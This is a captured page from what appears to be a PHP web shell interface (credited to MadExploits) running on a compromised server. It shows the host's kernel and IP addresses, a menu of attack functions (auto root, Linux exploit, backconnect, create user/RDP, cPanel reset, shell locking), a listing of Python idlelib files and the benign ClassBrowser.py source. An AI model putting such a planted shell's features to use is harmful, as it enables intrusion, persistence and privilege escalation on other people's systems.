Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.224.59.138
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
python35 /
lib /
python3.5 /
idlelib /
[ HOME SHELL ]
Name
Size
Permission
Action
Icons
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
idle_test
[ DIR ]
drwxr-xr-x
AutoComplete.py
8.99
KB
-rw-r--r--
AutoCompleteWindow.py
17.32
KB
-rw-r--r--
AutoExpand.py
3.32
KB
-rw-r--r--
Bindings.py
3.04
KB
-rw-r--r--
CREDITS.txt
1.82
KB
-rw-r--r--
CallTipWindow.py
5.89
KB
-rw-r--r--
CallTips.py
5.79
KB
-rw-r--r--
ChangeLog
55.07
KB
-rw-r--r--
ClassBrowser.py
6.83
KB
-rw-r--r--
CodeContext.py
8.16
KB
-rw-r--r--
ColorDelegator.py
10.35
KB
-rw-r--r--
Debugger.py
18.32
KB
-rw-r--r--
Delegator.py
1.02
KB
-rw-r--r--
EditorWindow.py
64.06
KB
-rw-r--r--
FileList.py
3.72
KB
-rw-r--r--
FormatParagraph.py
7.12
KB
-rw-r--r--
GrepDialog.py
5
KB
-rw-r--r--
HISTORY.txt
10.07
KB
-rw-r--r--
HyperParser.py
12.58
KB
-rw-r--r--
IOBinding.py
20.12
KB
-rw-r--r--
IdleHistory.py
3.96
KB
-rw-r--r--
MultiCall.py
18.14
KB
-rw-r--r--
MultiStatusBar.py
1.32
KB
-rw-r--r--
NEWS.txt
15.17
KB
-rw-r--r--
NEWS2x.txt
26.54
KB
-rw-r--r--
ObjectBrowser.py
3.88
KB
-rw-r--r--
OutputWindow.py
4.29
KB
-rw-r--r--
ParenMatch.py
6.56
KB
-rw-r--r--
PathBrowser.py
3.13
KB
-rw-r--r--
Percolator.py
3.1
KB
-rw-r--r--
PyParse.py
19.98
KB
-rw-r--r--
PyShell.py
57.46
KB
-rwxr-xr-x
README.txt
7.71
KB
-rw-r--r--
RemoteDebugger.py
11.73
KB
-rw-r--r--
RemoteObjectBrowser.py
964
B
-rw-r--r--
ReplaceDialog.py
7.31
KB
-rw-r--r--
RstripExtension.py
1.03
KB
-rw-r--r--
ScriptBinding.py
7.87
KB
-rw-r--r--
ScrolledList.py
4.27
KB
-rw-r--r--
SearchDialog.py
3.05
KB
-rw-r--r--
SearchDialogBase.py
6.84
KB
-rw-r--r--
SearchEngine.py
7.31
KB
-rw-r--r--
StackViewer.py
4.32
KB
-rw-r--r--
TODO.txt
8.28
KB
-rw-r--r--
ToolTip.py
3.1
KB
-rw-r--r--
TreeWidget.py
14.67
KB
-rw-r--r--
UndoDelegator.py
10.72
KB
-rw-r--r--
WidgetRedirector.py
6.78
KB
-rw-r--r--
WindowList.py
2.41
KB
-rw-r--r--
ZoomHeight.py
1.27
KB
-rw-r--r--
__init__.py
335
B
-rw-r--r--
__main__.py
159
B
-rw-r--r--
aboutDialog.py
6.82
KB
-rw-r--r--
config-extensions.def
2.9
KB
-rw-r--r--
config-highlight.def
2.46
KB
-rw-r--r--
config-keys.def
7.59
KB
-rw-r--r--
config-main.def
2.5
KB
-rw-r--r--
configDialog.py
63.54
KB
-rw-r--r--
configHandler.py
31.69
KB
-rw-r--r--
configHelpSourceEdit.py
6.66
KB
-rw-r--r--
configSectionNameDialog.py
3.91
KB
-rw-r--r--
dynOptionMenuWidget.py
1.94
KB
-rw-r--r--
extend.txt
3.56
KB
-rw-r--r--
help.html
42.39
KB
-rw-r--r--
help.py
10.7
KB
-rw-r--r--
help.txt
17.48
KB
-rw-r--r--
idle.bat
177
B
-rwxr-xr-x
idle.py
453
B
-rw-r--r--
idle.pyw
570
B
-rw-r--r--
idlever.py
415
B
-rw-r--r--
keybindingDialog.py
12.13
KB
-rw-r--r--
macosxSupport.py
8.48
KB
-rw-r--r--
rpc.py
20.3
KB
-rw-r--r--
run.py
13.54
KB
-rw-r--r--
tabbedpages.py
17.99
KB
-rw-r--r--
textView.py
3.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ClassBrowser.py
"""Class browser. XXX TO DO: - reparse when source changed (maybe just a button would be OK?) (or recheck on window popup) - add popup menu with more options (e.g. doc strings, base classes, imports) - show function argument list? (have to do pattern matching on source) - should the classes and methods lists also be in the module's menu bar? - add base classes to class browser tree """ import os import sys import pyclbr from idlelib import PyShell from idlelib.WindowList import ListedToplevel from idlelib.TreeWidget import TreeNode, TreeItem, ScrolledCanvas from idlelib.configHandler import idleConf file_open = None # Method...Item and Class...Item use this. # Normally PyShell.flist.open, but there is no PyShell.flist for htest. class ClassBrowser: def __init__(self, flist, name, path, _htest=False): # XXX This API should change, if the file doesn't end in ".py" # XXX the code here is bogus! """ _htest - bool, change box when location running htest. """ global file_open if not _htest: file_open = PyShell.flist.open self.name = name self.file = os.path.join(path[0], self.name + ".py") self._htest = _htest self.init(flist) def close(self, event=None): self.top.destroy() self.node.destroy() def init(self, flist): self.flist = flist # reset pyclbr pyclbr._modules.clear() # create top self.top = top = ListedToplevel(flist.root) top.protocol("WM_DELETE_WINDOW", self.close) top.bind("<Escape>", self.close) if self._htest: # place dialog below parent if running htest top.geometry("+%d+%d" % (flist.root.winfo_rootx(), flist.root.winfo_rooty() + 200)) self.settitle() top.focus_set() # create scrolled canvas theme = idleConf.CurrentTheme() background = idleConf.GetHighlight(theme, 'normal')['background'] sc = ScrolledCanvas(top, bg=background, highlightthickness=0, takefocus=1) sc.frame.pack(expand=1, fill="both") item = self.rootnode() self.node = node = TreeNode(sc.canvas, None, item) node.update() node.expand() def settitle(self): self.top.wm_title("Class Browser - " + self.name) self.top.wm_iconname("Class Browser") def rootnode(self): return ModuleBrowserTreeItem(self.file) class ModuleBrowserTreeItem(TreeItem): def __init__(self, file): self.file = file def GetText(self): return os.path.basename(self.file) def GetIconName(self): return "python" def GetSubList(self): sublist = [] for name in self.listclasses(): item = ClassBrowserTreeItem(name, self.classes, self.file) sublist.append(item) return sublist def OnDoubleClick(self): if os.path.normcase(self.file[-3:]) != ".py": return if not os.path.exists(self.file): return PyShell.flist.open(self.file) def IsExpandable(self): return os.path.normcase(self.file[-3:]) == ".py" def listclasses(self): dir, file = os.path.split(self.file) name, ext = os.path.splitext(file) if os.path.normcase(ext) != ".py": return [] try: dict = pyclbr.readmodule_ex(name, [dir] + sys.path) except ImportError: return [] items = [] self.classes = {} for key, cl in dict.items(): if cl.module == name: s = key if hasattr(cl, 'super') and cl.super: supers = [] for sup in cl.super: if type(sup) is type(''): sname = sup else: sname = sup.name if sup.module != cl.module: sname = "%s.%s" % (sup.module, sname) supers.append(sname) s = s + "(%s)" % ", ".join(supers) items.append((cl.lineno, s)) self.classes[s] = cl items.sort() list = [] for item, s in items: list.append(s) return list class ClassBrowserTreeItem(TreeItem): def __init__(self, name, classes, file): self.name = name self.classes = classes self.file = file try: self.cl = self.classes[self.name] except (IndexError, KeyError): self.cl = None self.isfunction = isinstance(self.cl, pyclbr.Function) def GetText(self): if self.isfunction: return "def " + self.name + "(...)" else: return "class " + self.name def GetIconName(self): if self.isfunction: return "python" else: return "folder" def IsExpandable(self): if self.cl: try: return not not self.cl.methods except AttributeError: return False def GetSubList(self): if not self.cl: return [] sublist = [] for name in self.listmethods(): item = MethodBrowserTreeItem(name, self.cl, self.file) sublist.append(item) return sublist def OnDoubleClick(self): if not os.path.exists(self.file): return edit = file_open(self.file) if hasattr(self.cl, 'lineno'): lineno = self.cl.lineno edit.gotoline(lineno) def listmethods(self): if not self.cl: return [] items = [] for name, lineno in self.cl.methods.items(): items.append((lineno, name)) items.sort() list = [] for item, name in items: list.append(name) return list class MethodBrowserTreeItem(TreeItem): def __init__(self, name, cl, file): self.name = name self.cl = cl self.file = file def GetText(self): return "def " + self.name + "(...)" def GetIconName(self): return "python" # XXX def IsExpandable(self): return 0 def OnDoubleClick(self): if not os.path.exists(self.file): return edit = file_open(self.file) edit.gotoline(self.cl.methods[self.name]) def _class_browser(parent): #Wrapper for htest try: file = __file__ except NameError: file = sys.argv[0] if sys.argv[1:]: file = sys.argv[1] else: file = sys.argv[0] dir, file = os.path.split(file) name = os.path.splitext(file)[0] flist = PyShell.PyShellFileList(parent) global file_open file_open = flist.open ClassBrowser(flist, name, [dir], _htest=True) if __name__ == "__main__": from idlelib.idle_test.htest import run run(_class_browser)
Close